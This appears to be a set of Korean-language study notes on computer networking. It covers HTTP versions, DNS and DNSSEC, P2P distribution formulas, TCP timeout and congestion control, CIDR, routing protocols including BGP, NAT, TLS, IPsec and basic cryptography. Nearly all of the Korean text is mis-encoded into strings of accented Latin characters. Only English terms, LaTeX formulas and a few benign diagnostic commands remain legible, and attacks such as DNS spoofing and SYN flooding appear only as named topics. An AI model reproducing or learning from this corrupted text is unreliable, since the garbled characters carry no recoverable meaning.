์ธ ๊ฐ ๋ก๋๋๋ ์์ ๋ฉํฐํ๋ ์ฑ : TCP์ฐ๊ฒฐ 1๊ฐ๋ก ์ฌ๋ฌ ๋ฐ์ดํฐ ์ ์ก ์๋ฒ ํธ์ : ์๋ฒ๊ฐ ๋ฆฌ์์ค๋ฅผ ์์ธกํ์ฌ ์ ์ก ํค๋ ์์ถ, ํค๋์ ๋ฐ์ดํฐ ๋ถ๋ฆฌ HTTP/3 QUIC ํ๋กํ ์ฝ, UDP ๊ธฐ๋ฐ ๊ธฐํ HTTP Cookie ์น์ฌ์ดํธ ๋ฐฉ๋ฌธ ์ ๊ธฐ๋ก Third-party Cookie ๊ด๊ณ ์ ์ฌ์ฉ HTTP Cache ์ต์ด ์์ฒญ์ ์๋ ์๋ฒ์์ ์ฒ๋ฆฌ, ์ดํ ์์ฒญ์ Proxy(Cache) ์๋ฒ์์ ์ฒ๋ฆฌ CDN (Content Delivery Network) ์ปจํ
์ธ ๋ฅผ ์ ์ธ๊ณ ์ฌ๋ฌ ์ง์ญ์ ๋ฏธ๋ฆฌ ๋ฐฐํฌ Internet protocol traceroute : ํจํท ๊ฒฝ๋ก ์ถ์ netstat -rn, route -n : ๋ผ์ฐํฐ ์ ๋ณด ํ์ธ P2P ๋ฒํด๋ฆฌ์์ผ : ๋ฒํด๋ฆฌ ๋ํ๊ต์์ ๊ฐ๋ฐํ UNIX Socker API IP IP Address IPv4 32bit IPv6 128bit (64bit : network prefix, 64bit : host network identifier) Network identifier + Interface identifier ์ข
๋ฅ : unicast, anycast, link-local, multicast ::1/128 : loopback address Internet ์ฑ๋ฅ ์ธํฐ๋ท ์ฑ๋ฅ ์งํ ์๋(๋์ญํญ, ๋นํธ์ ์ก๋ฅ ) ๋จ์ : BPS ์ธก์ ๋๊ตฌ : iperf ๋งํฌ์ ๋์ญํญ ์ง์ฐ์๊ฐ ๋จ์ : sec ์ธก์ ๋ฐฉ๋ฒ : ๋จ๋ฐฉํฅ ์ง์ฐ์๊ฐ, RTT ์ธก์ ๋๊ตฌ : ping, traceroute ์ข
๋ฅ ์ ์ก ์ง์ฐ : 1bit ์ ์ก์ ๊ฑธ๋ฆฌ๋ ์๊ฐ ์ ํ ์ง์ฐ ํ์ ์ง์ฐ : ์ปดํจํฐ / ๋ผ์ฐํฐ์์ ์ฒ๋ฆฌ๋๊ธฐ๊น์ง ๊ธฐ๋ค๋ฆฌ๋ ์๊ฐ ์ฒ๋ฆฌ ์ง์ฐ : ํจํท ํค๋ ๋๋ ๊ฒฝ๋ก ํ
์ด๋ธ ์ฐพ๋ ์๊ฐ ์์ค๋ฅ ๋จ์ : % ์ธก์ ๋ฐฉ๋ฒ : ์คํจํ ํจํท ์ / ์ ์กํ ํจํท ์ ์ธก์ ๋๊ตฌ : ping ์ฑ๋ฅ์ ํฅ์์ ์ํ ๋ฐฉ๋ฒ HAR(HTTP ARchive format) ํ์ผ ๋ถ์ ๋ธ๋ผ์ฐ์ <-> ์ฌ์ดํธ ๊ฐ์ ํต์ ๋ด์ญ์ JSONํํ๋ก ์ ์ฅํ ํ์ผ Bookmarklet ํ์ฌ ์น์ฌ์ดํธ ๋ถ์ํด์ฃผ๋ ๋ธ๋ผ์ฐ์ add-on ๋ธ๋ผ์ฐ์ ์ต์ ํ css, js, html ์ฐ์ ์์ ๋ถ์ฌ ์์ธกํด์ ๋ฏธ๋ฆฌํ๊ธฐ (์์ ๊ฐ์ ธ์ค๊ธฐ, DNS, TCP ์ฐ๊ฒฐ, Web page Rendering) DNS (Domain Name System) Domain ์ด๋ฆ -> IP ์ฃผ์๋ก ๋ณํ dig ๋ช
๋ น์ด๋ฅผ ํตํด dns ์ ๋ณด ํ์ธ ๊ฐ๋ฅ ํฌํธ๋ฒํธ : 53 Slammer Worm DNS ์๋ฒ ๊ณต๊ฒฉ DNS ๋์ ๋ฐฉ์ UDP(<= 512B),TCP(> 512B) PORT : 53 DNS Query Type A : IPv4 ์ฃผ์ AAAA : IPv6 ์ฃผ์ CNAME : ๋ณ์นญ TLD (Top Level Domain) ๋งจ๋ค์ ๋ถ๋ ๋๋ฉ์ธ (.com, .net, .org ๋ฑ๋ฑ) Authoritative DNS Server DNS ์ ๋ณด์ ํด๋น IP ์ฃผ์๋ฅผ ๊ฐ์ง๊ณ ์๋ ์๋ฒ DNS Caching DDNS (Dynamic DNS) IP์ฃผ์๊ฐ ๊ฐฑ์ ๋๋ฉด DNS ์ ๋ณด ๊ฐฑ์ (๊ฐ์ ์ ๊ณต์ ๊ธฐ) DNS ๊ณต๊ฒฉ DNS Sppofing, DNS cache poisoning, Phising DNSSEC (DNS Security Extensions) ๋ฐ์ดํฐ ์์กฐ-๋ณ์กฐ ๊ณต๊ฒฉ ๋ฐฉ์ง ํ์ค๊ธฐ์ ๊ณต๊ฐํค ์ํธํ๋ฐฉ์์ ์ ์์๋ช
๋์
DoH (DNS over HTTPS) DNS ์ ๋ณด๋ฅผ jsonํ์์ผ๋ก ๋ง๋ค์ด HTTPS ์ ์ก DNS over TLS DNS ์ ๋ณด๋ฅผ TLS๋ก ์ํธํํ์ฌ ์ ์ก SNI (Server Name Indication) : ๋๋ฉ์ธ ์ ๋ณด TLS์์๋ SNI๋ฅผ ์ํธํํ์ง ์์ ํฌํธ๋ฒํธ: 853 P2P ๋ ๋ฐฉ์์ ๋น๊ต 1๊ฐ์ ์๋ฒ N๊ฐ์ file $u_s$: ์๋ฒ ์
๋ก๋ ๋์ญํญ $d_i$: i๋ฒ์งธ peer์ ๋ค์ด๋ก๋ ๋์ญํญ Client-Server ๋ฐฉ์ ๋ฐฐํฌ ์๊ฐ $$ d_{cs} = max(\frac{NF}{u_s},\ \frac{F}{min(d_i)}) $$ P2P ๋ฐฉ์ ์๋ฒ์ ์
๋ก๋ํ๋ ์๊ฐ $$ d*{p2p} = max(\frac{F}{u_s},\ \frac{F}{min(d*{i})},\ \frac{NF}{u_s+\sum{u_i}}) $$ BitTorrent ํ์ผ์ 256KB chunks๋ก ๋ถํ Distributed Hash Table (DHT) ๋ถ์ฐ P2P DB key: hash(content), value: IP address ์ธ์ ํ ์ด์์๊ฒ ํค๋ฅผ ํ ๋น Circular DHT ๊ฐ ํผ์ด๋ ์ธ์ ๋
ธ๋๋ง ์๊ณ ์์ Skype ์ฌ์ฉ์ ๊ฐ P2Pํต์ FTP, SMTP ๋ฉ์ผ๊ด๋ จ ํ๋กํ ์ฝ SMTP: ์ด๋ฉ์ผ ์๋ฒ ์ ์ก ํ๋กํ ์ฝ POP3, IMAP, HTTP: ์ด๋ฉ์ผ ์๋ฒ ์ ๊ทผ ํ๋กํ ์ฝ telnet ํฌํธ๋ฒํธ: 23 ์ ๋ขฐ์ฑ ์๋ ์ ์ก๊ณ์ธต TCP segment ์ ๋ขฐ์ฑ: ์ค๋ฅ ํ์ง/๋ณต๊ตฌ, ์์ ์ ์ก, ์ค๋ณต ์ ๊ฑฐ ํ๋ฆ์ ์ด: ์์ ์์ ์ํ์ ๋ฐ๋ฅธ ์ ์ก๋ ์กฐ์ ํผ์ก์ ์ด: ๋คํธ์ํฌ+์์ ์์ ํผ์ก์ํ์ ๋ฐ๋ฅธ ์ ์ก๋ ์กฐ์ ์ฐ๊ฒฐ๊ด๋ฆฌ UDP segment ์ฐ๊ฒฐ์ ๋ง๋ค์ง ์๋๋ค, ๋น ๋ฅด๋ค, ๋จ์ํ๋ค checksum : ์ค๋ฅ ๊ฒ์ถ ๊ฐ๋ฅ ๊ณตํต ์ง์ฐ์๊ฐ, ๋์ญํญ์ ๋ณด์ฅ์ด ๋์ง ์๋๋ค Stop-and-Wait ARQ ์ก์ ์ ์๋์ฐ ํฌ๊ธฐ: 0 or 1 ์์ ์ ์๋์ฐ ํฌ๊ธฐ : 1 ์ฑ๋ฅ $$d_{trans}=\frac{L}{R}$$ $$U_{sender}=\frac{d_{trans}}{RTT+d_{trans}}$$ Go-Back-N ARQ ์ก์ ์ ์๋์ฐ ํฌ๊ธฐ : $2^m - 1$ ์์ ์ ์๋์ฐ ํฌ๊ธฐ : 1 Selective Repeat ARQ ์ก์ ์ ์๋์ฐ ํฌ๊ธฐ : $2^{m - 1}$ ์์ ์ ์๋์ฐ ํฌ๊ธฐ : $2^{m - 1}$ TCP TCP ๊ฐ์ ์ฐ๊ฒฐ ์งํฅ์ ์ ๋ขฐ์ฑ ์๋ ์ ์ก pipelining : ๋ณ๋ ฌ ์ ์ก Full duplex data : ๋์ผ ์ฐ๊ฒฐ์์ ์๋ฐฉํฅ ๋ฐ์ดํฐ ์ ์ก flow control byte๋จ์ ์ stream ์ ์ก TCP Segment Timeout ์ค์ ์ ๋นํ tcp timeout ๊ฐ ์ค์ ํ์ RTT๋ณด๋ค ๊ธธ์ด์ผํจ ๋๋ฌด ์งง์ผ๋ฉด ๋ถํ์ํ ์ฌ์ ์ก, ๋๋ฌด ๊ธธ๋ฉด ์ธ๊ทธ๋จผํธ ์์ค RTT ์ธก์ $$EstimatedRTT = (1-\alpha)EstimatedRTT + \alpha SampleRTT$$
๋ณดํต $\alpha$ : 0.125 ์ค์ฐจ ๋ฒ์ ๊ณ์ฐ $$ DevRTT = (1-\beta)DevRTT + \beta |SampleRTT - EstimatedRTT| $$ Timeout Interval ๋์ถ $$ TimeoutInterval = EstimatedRTT + 4*DevRTT $$ TCP ์ ๋ขฐ์ฑ ์๋ ์ ์ก cumulative acks pipelined segments timeout -> ์ฌ์ ์ก duplicate acks -> ์ฌ์ ์ก TCP Flow control control ๋์์๋ฆฌ RcvWindow : ์ก์ ์ ์ต๋ ์ ์กํฌ๊ธฐ RcvWindow๋งํผ buffer ๋ด spare room์ผ๋ก ํ๋ค TCP ์ฐ๊ฒฐ ๊ด๋ฆฌ (3-way handshake) ์ฐ๊ฒฐ ์ข
๋ฃ ์๋๋ฆฌ์ค client->server : FIN server->client : ACK + FIN client->server : ACK Socket Programming ์์ผ ์์ฉ ํ๋ก์ธ์ค์ ์ ์ก ๊ณ์ธต ์ฌ์ด์ API ์ฌ๋ฌ๊ฐ์ ํด๋ผ์ด์ธํธ์ ํต์ Multiprocess context switch ๋น์ฉ ๋ฐ์, IPC ํต์ Multithread context switch ๋น์ฉ ๋ฐ์ Select ์ฌ๋ฌ Socket I/O ๋์ ์ฒ๋ฆฌ ๋นํจ์จ์ ์ด๋ค Async ๋น ๋ฅด๋ค ๋ณต์กํ ์ฝ๋, ์ด๋ ค์ด ๋๋ฒ๊น
WebSocket ์ค์๊ฐ ์๋ฐฉํฅ ํต์ ๊ฐ๋ฅ Socket.io Node.js ๊ธฐ๋ฐ์ WebSocket ๊ตฌํ์ฒด ๋ผ์ด๋ธ๋ฌ๋ฆฌ Data Link ๊ณ์ธต ๋งํฌ ๊ณ์ธต์ ์ญํ ๋ฐ์ดํฐ ํ๋ ์์ ์ฃผ๊ณ ๋ฐ๊ธฐ ๋งํฌ์ ์ด, ๋ค์ค์ ๊ทผ, ํ๋ฆ์ ์ด, ์๋ฌ์ ์ด MAC ์ฃผ์ ๋๋ฐ์ด์ค ๊ณ ์ ์ ์๋ณ์, 48bit CIDR ์ฌ์ฉํ๋ ์ด์ Class(A, B, C) ๋จ์ ํ ๋น์ ๋ฐ๋ฅธ ๋นํจ์จ์ ์ธ ์ฃผ์ ๊ด๋ฆฌ BGP ๋ผ์ฐํ
ํ
์ด๋ธ ๊ฐ์ ์ต์ํ ์์ (172.16.150.115/22) ์ฃผ์ ๊ฐ์ : $2^{32-22}-2$ = 1024 - 2 = 1022 ์ฒซ๋ฒ์งธ์ ๋ง์ง๋ง ์ฃผ์๋ ํน์๋ชฉ์ IP๋ผ์ ์ฌ์ฉ ๋ถ๊ฐ ๋คํธ์ํฌ ์ฃผ์ : 172.16.148.0/22 ์ฃผ์ ๊ณต๊ฐ : 172.16.148.0 ~ 172.16.151.255 ๋ธ๋ก๋์บ์คํธ ์ฃผ์ : 172.16.151.255 Network ๊ณ์ธต - IP Network ๊ณ์ธต์ ์ญํ IP ํจํท ์ก์์ , IP ํจํท ์ ๋ฌ, IP ๊ฒฝ๋ก ์ฐพ๊ธฐ Fragmentation MTU(Maximum Transfer Unit) : ๋งํฌ ๊ณ์ธต ํ๋ ์ ํฌ๊ธฐ ์ ํ Ethernet : 1500B MTU ๋ณด๋ค ํฐ IP ํจํท์ ํํธํ, ๋ชฉ์ ์ง์์ ์ฌ์กฐ๋ฆฝ TTL ๋ผ์ฐํ
๋ฃจํ ๋ฐฉ์ง, 0์ด ๋๋ฉด ํ๊ธฐ traceroute : TTL์ ์ด์ฉํ ๋๊ตฌ IP Options IPv4 IPv4 datagram format IP Options Record route, MTU probe/reply, timestamp IHL(Header Length): IP ํค๋ ๊ธธ์ด IP Options ํ๋์ ์ต๋๊ธธ์ด๋ ์ต๋ IPํค๋๊ธธ์ด 60B - IHLํ๋ ์ต์๊ฐ 20B = 40B IP Record Route Option: IP ์ฃผ์ ๊ธฐ๋กํ๋ ์ต์
Subnets ์๋ธ๋ท (Subnets) ๋ผ์ฐํฐ๋ฅผ ๊ฑฐ์น์ง ์๊ณ ๋์ฐฉํ ์ ์๋ ์ธํฐํ์ด์ค์ ์งํฉ
DHCP ํด๋ผ์ด์ธํธ์ IP ์ฃผ์๋ฅผ ์๋์ผ๋ก ํ ๋น, ๊ด๋ฆฌํ๋ ํ๋กํ ์ฝ Ipv6 Ipv6 datagram format IPv4์ ๋น๊ต no checksum no fragmentation / reassembly no options Ipv4 -> Ipv6 ๋ณํ tunneling : IPv6 ํจํท์ IPv4 ํจํท์ ์บก์ํ MiddleBox ์ถ๋ฐ์ง์ ๋ชฉ์ ์ง ์ฌ์ด์์ ip router์ ๊ธฐ๋ฅ์ ์ ์ธํ ๊ธฐ๋ฅ์ ์ํํ๋ ์ค๊ฐ ์์ NAT, Firewalls, Load balancers, Caches Network ๊ณ์ธต - Routing Routing: ๊ธธ ์ฐพ๊ธฐ ๊ธฐ๋ฅ Routing table : Trie ์๋ฃ๊ตฌ์กฐ ์ฌ์ฉ ๋ฐฉ์ : Longest prefix matching Forwarding: ํจํท ์ ๋ฌ ๊ธฐ๋ฅ Forwarding table : ๊ฐ์ฅ ๊ธด ๊ณตํต prefix๋ฅผ ์ฐพ์์ ํจํท ์ ๋ฌ Switching fabrics ๋ผ์ฐํฐ ๋ด๋ถ์์ ํจํท์ ์ ๋ฌํ๋ ๋ฐฉ์
3๊ฐ์ง ์ข
๋ฅ : Memory, Bus, Crossbar ์
๋ ฅ ํฌํธ์์์ ๋ฌธ์ ์
๋ ฅ ํฌํธ์ ์๋ > ์ค์์น ์๋ -> ํ์ ์ง์ฐ ๋ฐ์ Head-of-line(HoL) blocking : ํ์ ์ง์ฐ์ผ๋ก ์ธํด ๋ค๋ฅธ ํจํท๋ค๋ ์ง์ฐ๋๋ ํ์ ์ถ๋ ฅ ํฌํธ์์์ ๋ฌธ์ ์ค์์น ์๋ > ์ถ๋ ฅ ํฌํธ์ ์๋ -> ํจํท ์์ค ๋ฐ์ ํด๊ฒฐ๋ฐฉ๋ฒ ์ด๋ฏธ ๋๊ธฐ ์ค์ธ ํจํท์ ํ๊ธฐ ์๋ก ๋์ฐฉํ ํจํท์ ํ๊ธฐ scheduling policy : FIFO, Round Robin ๋ฑ๋ฑ Transport ๊ณ์ธต - ํผ์ก ์ ์ด ํผ์ก์ ์ด ๊ฐ์ Congestion : ๋คํธ์ํฌ์ ์ฒ๋ฆฌ๋ < ๋ฐ์ดํฐ ์ ์ก๋ ํผ์ก ํ์ง : ์ฌ์ ์ก ํ์ด๋จธ, ์ค๋ณต ACK -> ํจํท ์์ค cwnd : congestion window size Van Jacobson์ด ํฐ ์ํฅ์ ๋ฏธ์นจ MSS(Maximum Segment Size): ์ธ๊ทธ๋จผํธ์ ์ต๋ ํฌ๊ธฐ (๋ฐ์ดํฐ๋ง ํฌํจ) MTU(Maximum Transfer Unit): ์ต๋ ์ ์ก ํฌ๊ธฐ ํผ์ก ์ ์ด ๋ฐฉ๋ฒ AIMD Additive Increase Multiplicative Decrease ๋งค RTT๋ง๋ค cwnd 1MSS ์ฉ ์ฆ๊ฐ ํจํท ์์ค ๊ฐ์ง : cwnd ์ ๋ฐ์ผ๋ก ๊ฐ์ Slow Start ์ด๊ธฐ cwnd: 1 or 10 MSS ๋งค RTT๋ง๋ค cwnd 2๋ฐฐ๋ก ์ฆ๊ฐ ํจํท ์์ค์ window size = 1 ํผ์ก ์ ์ด ์ ์ฑ
TCP Tahoe ์ฒ์์๋ Slow Start, ์ดํ์๋ AIMD 3 duplicate ACKs ๋๋ timeout ๋ฐ์ ์ ์๊ณ์ = window size/2 window size = 1 TCP Reno Tahoe์ ๋น์ทํ๋ค timeout ๋ฐ์์ ์๊ณ์ ์ ๊ทธ๋๋ก window size = 1 3 duplicate Acks์ธ ๊ฒฝ์ฐ ์๊ณ์ = window size/2 window size = window size/2 TCP CUBIC K: window size๊ฐ Wmax์ธ ์์ K ๊ทผ์ฒ์์ ๋๋ฆฌ๊ฒ ์ฆ๊ฐ K ๋ฉ๋ฆฌ์์ ๋น ๋ฅด๊ฒ ์ฆ๊ฐ TCP BBR BBR: Bottleneck Bandwidth and RTT NAT ๊ณต์ ๊ธฐ IP ์ฃผ์ ๋ณํ public IP <-> private IP
์ฃผ์ ๋ฟ๋ง ์๋๋ผ ํฌํธ๋ ๋ฐ๋๋ค
๊ณต์ ๊ธฐ addr-port mapping table์ ์์ฑ๊ณผ ์ญ์
๋ด๋ถ->์ธ๋ถ ์์ฑ : TCP/UDP ์ต์ด ํจํท ์ก์ ํ ์ญ์ : ํ์ด๋จธ/TCP ์ฐ๊ฒฐ ์ข
๋ฃ ๋ฉ์์ง ์์ ํ ์ธ๋ถ->๋ด๋ถ ์์ฑ : ๋ด๋ถ์์ ํธ๋ํฝ ์์ฑ ๋๋ ์๋ ์ญ์ : ํ์ด๋จธ/TCP ์ฐ๊ฒฐ ์ข
๋ฃ ๋ฉ์์ง ์์ ํ ๋๋ ์๋ ํฌํธ ํฌ์๋ฉ : ๊ณต์ ๊ธฐ ๋ด๋ถ์ ์๋ฒ์ ์ ๊ทผํ๊ธฐ ์ํ ํฌํธ(TCP) ๊ฐ๋ฐฉ ๊ธฐ๋ฅ
๊ณต์ ๊ธฐ ์ ๋ณด ํ์ธํ๋ ๋ช
๋ น์ด : netstat -rn, ifconfig, iptables -t nat -L -vn
๊ณต์ ๊ธฐ์ ๊ณ์ธต
L7(์์ฉ๊ณ์ธต) : DNS ์๋ฒ L3(๋คํธ์ํฌ ๊ณ์ธต) : IP Router + ์ฃผ์ ๋ฒ์ญ๊ธฐ + DHCP L2(๋ฐ์ดํฐ ๋งํฌ ๊ณ์ธต) : Bridge, ์ด๋๋ท ์ค์์น, Wifi L1(๋ฌผ๋ฆฌ ๊ณ์ธต) IP Routing L3(Network layer) ์ญํ forwarding (data plane): ๋จ์ ํจํท ์ ๋ฌ routing (control plane): ํจํท ์ ๋ฌ ๊ฒฝ๋ก ๊ฒฐ์ control plane์ ๊ตฌ์กฐ Per-router control plane : ๋ผ์ฐํฐ๋ง๋ค ๋ผ์ฐํ
์๊ณ ๋ฆฌ์ฆ์ ์ํ SDN(Software Defined Networking) : ์ค์์ง์ค์ ๋ผ์ฐํ
์๊ณ ๋ฆฌ์ฆ Routing Protocols link state (centralized, global) ์ถ๋ฐ์ง์์ ๋ชฉ์ ์ง๊น์ง ๋ฐ๋ณตํ๋ฉฐ ์ต๋จ ๊ฒฝ๋ก๋ฅผ ๊ณ์ฐ dijkstra ์๊ณ ๋ฆฌ์ฆ ์ฌ์ฉ ์๊ฐ๋ณต์ก๋(n๊ฐ์ node) : $O(n^2)$ oscillation ๋ฐ์ ๊ฐ๋ฅ : ๋ผ์ฐํ
ํ
์ด๋ธ์ด ์๋ ดํ์ง ์๋ ํ์ distance vector : ์ธ์ ํ ๋ผ์ฐํฐ์๊ฒ๋ง ์ ๋ณด ์ ๋ฌ ๊ฐ ๋
ธ๋์์ ๋๊ธฐ์ ์ผ๋ก ์ต๋จ ๊ฒฝ๋ก๋ฅผ ๊ณ์ฐ bellman-ford ์๊ณ ๋ฆฌ์ฆ ์ฌ์ฉ link cost๊ฐ ๋ฐ๋๋ฉด local dv๋ฅผ ๋ค์ ๊ณ์ฐ, ๋ฐ๋ dv๋ฅผ ์ธ์ node์ ์ ๋ฌ count-to-infinity ๋ฌธ์ : ๋ผ์ฐํ
๋ฃจํ ํ์ poisoned reverse : count-to-infinity ํด๊ฒฐ ๋ฐฉ๋ฒ path vector Inter-AS routing protocol ๋ผ์ฐํฐ ์๊ฐ ๋ง์์ ธ๋ ์๋ ๊ฐ๋ฅํ๊ฒ ํ๊ธฐ ์ํด ์ฌ์ฉ intra-AS routing protocols : RIP, EIGRP, OSPF RIP (Routing Information Protocol) DV algorithm ์ฌ์ฉ ๋ฃจํ ํ์ง๋ฅผ ์ํ ๋ฐฉ๋ฒ : poison reverse ์ด์ ๋ ์ ์ฌ์ฉํ์ง ์์ EIGRP (Enhanced Interior Gateway Routing Protocol) DV ๊ธฐ๋ฐ cisco OSPF (Open Shortest Path First) classic link-state ๋ชจ๋ OSPF๋ฉ์์ง๋ ์ธ์ฆ๋จ Hierarchical routing : local area, backbone ๋ ๊ฐ์ ๋ ๋ฒจ๋ก ๊ตฌ์ฑ boundary router : AS๊ฐ ๋ผ์ฐํฐ local router : local ๋ด๋ถ ๋ผ์ฐํฐ area border router : local๊ณผ backbone์ ์ฐ๊ฒฐํ๋ ๋ผ์ฐํฐ Inter-AS routing BGP BGP (Border Gateway Protocol): ์ธํฐ๋ท ์์ AS๊ฐ ๋ผ์ฐํ
ํ๋กํ ์ฝ eBGP : ์ธ์ ํ AS๊ฐ ๋ผ์ฐํ
์ ๋ณด ๊ตํ iBGP : AS ๋ด๋ถ ๋ผ์ฐํฐ๋ค์๊ฒ ๋ผ์ฐํ
์ ๋ณด ์ ๋ฌ BGP session : BGP routers๋ TCP๋ก ์ฐ๊ฒฐ๋จ BGP path: prefix + attributes prefix: IP ์ฃผ์ AS-PATH: AS ๋ฆฌ์คํธ NEXT-HOP: ๋ค์ AS๋ก ํฅํ๋ ๋ผ์ฐํฐ ์ฃผ์ BGP messages OPEN : TCP ์ฐ๊ฒฐ ์ค์ UPDATE : ์ ๊ฒฝ๋ก๋ฅผ ๊ณต์ (๋๋ ์ด์ ์ฐ๊ฒฐ ์ฒ ํ) KEEPALIVE : UPDATES ์์ด ์ฐ๊ฒฐ ์ ์ง NOTIFICATION : ์ค๋ฅ ๋ณด๊ณ BGP ๊ฒฝ๋ก ์ ํ ๋ฐฉ๋ฒ ํฐ weight ํฐ local preference ์งง์ AS-PATH ๊ฐ๊น์ด NEXT-HOP MED (Multi-Exit Discriminator) Transport ๊ณ์ธต - ๋ณด์ TLS(Transport Layer Security) ํ์ค SSL 3.0 -> IETF TLS 1.0 -> TLS 1.2 -> TLS 1.3 HTTPS = TCP + TLS + HTTP Network Security์ ๊ตฌ์ฑ์์ Confidentiality (๊ธฐ๋ฐ์ฑ) Authentication (์ธ์ฆ) Message Integrity (๋ฌด๊ฒฐ์ฑ) Access & Availability (๊ฐ์ฉ์ฑ) ์ํธํ ๋ชจ์ (Cipher Suite) ํค ๊ตํ ์๊ณ ๋ฆฌ์ฆ: Diffie-Hellman ์ธ์ฆ: RSA (๊ณต๊ฐํค) ์ํธํ: AES (๋์นญํค) ๋ฌด๊ฒฐ์ฑ: SHA256 (ํด์) TLS Handshake ํ๋กํ ์ฝ์ ๊ณผ์ Client Hello : ๋ฒ์ , ์ฌ์ฉ๊ฐ๋ฅํ ์ํธํ ์ข
๋ฅ Server Hello : ์ํธํ ์ข
๋ฅ Certificate : ์ธ์ฆ์ Server Hello Done Client Key Exchange : Pre-Master Secret ์์ฑ ํ ์ ์ก Change Cipher Spec : ์ํธํ ์ข
๋ฅ ์ ํ Change Cipher Spec Finished : ์ํธํ ์ข
๋ฅ ์ ํ ์๋ฃ SSL/TLS ์ธ์ฆ์ ์๋น์ค ์ ๋ณด : ๋ฐ๊ธํ CA, ๋๋ฉ์ธ ๋ฑ CA(Certificate Authority) : ์ธ์ฆ์ ๋ฐ๊ธ ๊ธฐ๊ด TLS 1.2์ TLS 1.3์ ๋น๊ต IP ๊ณ์ธต - ๋ณด์ ์ํธํต์ - IP Sec IP ํจํท์์ encryption, authentication, integrity 2๊ฐ์ง ๋ชจ๋ transport mode: 1๊ฐ์ datagram payload๋ง ์ํธํ tunnel mode: ์ ์ฒด datagram์ด encrypted, authenticated ํ๋กํ ์ฝ AH(Authentication Header): ์ธ์ฆ, ๋ฌด๊ฒฐ์ฑ ๋ณด์ฅ ESP(Encapsulating Security Payload): ์ธ์ฆ, ๋ฌด๊ฒฐ์ฑ, ๊ธฐ๋ฐ์ฑ ๋ณด์ฅ SAs(Security Associations) ๋ฐ์ดํฐ๋ฅผ ๋ณด๋ด๊ธฐ ์ SA ์์ฑ IP: ๋น์ฐ๊ฒฐ์ฑ, IPsec: ์ฐ๊ฒฐ์ฑ SPI(Security Parameter Index): SA๋ฅผ ์๋ณํ๋ ๊ฐ IPsec datagram (tunnel mode, ESP) ESP trailer: block ์ํธํ๋ฅผ ์ํ padding ESP header IKE (Internet Key Exchange) ๊ธฐ์กด ๋ฐฉ์ : ์๋ ํค๋ก IPSec SA๋ฅผ ์์ฑ endpoint๊ฐ ๋ง์ ๊ฒฝ์ฐ ์๋ ํค ๊ด๋ฆฌ๊ฐ ์ด๋ ค์ -> IPsec IKE ์ฌ์ฉ ์ํธ ํต์ - ๋์นญํค, ๊ณต๊ฐํค, ์ ์์๋ช
์ํธ (cryptography) ๊ธฐ์ด ์ฉ์ด
m : ํ๋ฌธ $K_A(m)$: ์ํธ๋ฌธ m = $K_B(K_A(m))$ : ๋ณตํธํ Symmetric key cryptography (๋์นญํค ์ํธํ)
์ํธํ, ๋ณตํธํ์ ๊ฐ์ ํค ์ฌ์ฉ ๋จ์ ์ํธํ ๋ฐฉ๋ฒ
substitution cipher : ๋ฌธ์๋ฅผ ๋ค๋ฅธ ๋ฌธ์๋ก ์นํ ์ข ๋ ์ ๊ตํ ๋ฐฉ๋ฒ
cyclic cipher : ๋ฌธ์๋ฅผ ๋ค๋ฅธ ๋ฌธ์๋ก ์นํํ๊ณ , ์์๋ฅผ ๋ฐ๊ฟ DES(Data Encryption Standard)
56bit symmetric key, input : 64bit ํ๋ฃจ์ ์ ์ฑ์์ง๋ ์๊ฐ์ ๋ซ๋ฆผ 3DES : 3๊ฐ์ ์๋ก ๋ค๋ฅธ ํค๋ก 3๋ฒ ์ํธํ AES(Advanced Encryption Standard)
128bit, 192bit, 256bit key input: 128bit AES๋ DEC๋ณด๋ค ๊ฒฌ๊ณ ํ๋ค Public Key Cryptography (๊ณต๊ฐํค)
๊ณต๊ฐํค: ์ํธํ, ๊ฐ์ธํค: ๋ณตํธํ ๋์นญํค๋ณด๋ค ๋๋ฆฌ๋ค HTTPS = ๊ณต๊ฐํค(ํค ๊ตํ) + ๋์นญํค (์ํธํ) RSA ์ํธํ ๋ฐฉ์ ํน์ง
$K_B^-(K_B^+(m)) = m$ ๊ณต๊ฐํค $K_B^+$๊ฐ ์ฃผ์ด์ก์ ๋ ๊ฐ์ธํค $K_B^-$๊ฐ ๊ณ์ฐ ๋ถ๊ฐ๋ฅ ํด์ผํ๋ค. $K_B^-(K_B^+(m)) = m = K_B^+(K_B^-(m))$ ๋ฐฉ๋ฒ
๋์งํธ ์๋ช
์๋ช
ํ ์ฌ๋์ ์ธ์ฆ ์ฉ๋ ๊ณต๊ฐํค ํ์ฉ ์ธ์ฆ์ ์ ์์๋ช
๋ง์ผ๋ก ์ก์ ์์ ์ ์ ํ์ธ ๋ถ๊ฐ๋ฅ ๋ด์ฉ: ์ ์์ ๋ณด, ๊ณต๊ฐํค, ์ ํจ๊ธฐ๊ด, ์ธ์ฆ๊ธฐ๊ด์ ๋ณด, ์ ์์๋ช
ํ์ค ๊ท๊ฒฉ : X.509 X.509 .der ํน์ .pem ํ์ฅ์ ํ์ผ ์ํธํต์ - ๋ฌด๊ฒฐ์ฑ ์ ์ ์๋ช
์ ๋ฌด๊ฒฐ์ฑ (A->B) m์ A๊ฐ ์ ์ผํ๊ฒ ์๋ช
์ ํด์ผํ๋ค. A๋ m`์ด ์๋ m์๋ง ์๋ช
์ ํด์ผํ๋ค. ํด์ ํจ์ ์๊ณ ๋ฆฌ์ฆ : MD5, SHA-1 ์ํธํต์ - Firewall ๋ชฉ์
์๋น์ค ๊ฑฐ๋ถ ๊ณต๊ฒฉ ๋ฐฉ์ง (SYN flooding: ๊ฐ์ง TCP ์ฐ๊ฒฐ์ ์์ฑ) ๋ด๋ถ ๋ฐ์ดํฐ์ ๋ถ๋ฒ ์์ /์ ๊ทผ ๋ฐฉ์ง ๋ด๋ถ ๋คํธ์ํฌ์ ๋ํ ๊ถํ ์๋ ์ก์ธ์ค๋ง ํ์ฉ ํ๊ณ
